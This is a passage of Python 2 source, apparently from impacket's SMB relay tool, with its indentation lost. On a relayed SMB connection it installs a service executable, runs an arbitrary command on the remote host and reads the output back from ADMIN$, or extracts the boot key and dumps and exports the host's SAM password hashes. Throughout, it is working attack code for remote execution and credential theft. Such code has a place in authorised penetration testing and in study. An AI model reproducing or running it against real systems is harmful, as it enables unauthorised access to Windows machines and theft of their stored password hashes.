self.shell.cmdloop()
return
if self.config.exeFile is not None:
result = self.installService.install()
if result is True:
logging.info("Service Installed.. CONNECT!")
self.installService.uninstall()
else:
from impacket.examples.secretsdump import RemoteOperations, SAMHashes
samHashes = None
try:
# We have to add some flags just in case the original client did not
# Why? needed for avoiding INVALID_PARAMETER
flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
flags2 |= smb.SMB.FLAGS2_LONG_NAMES
self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)
remoteOps = RemoteOperations(self.__SMBConnection, False)
remoteOps.enableRegistry()
except Exception, e:
# Something wen't wrong, most probably we don't have access as admin. aborting
logging.error(str(e))
return
try:
if self.config.command is not None:
remoteOps._RemoteOperations__executeRemote(self.config.command)
logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
self.__answerTMP = ""
self.__SMBConnection.getFile("ADMIN$", "Temp\\__output", self.__answer)
self.__SMBConnection.deleteFile("ADMIN$", "Temp\\__output")
else:
bootKey = remoteOps.getBootKey()
remoteOps._RemoteOperations__serviceDeleted = True
samFileName = remoteOps.saveSAM()
samHashes = SAMHashes(samFileName, bootKey, isRemote=True)
samHashes.dump()
samHashes.export(self.__SMBConnection.getRemoteHost() + "_samhashes")
logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
except Exception, e:
logging.error(str(e))
finally: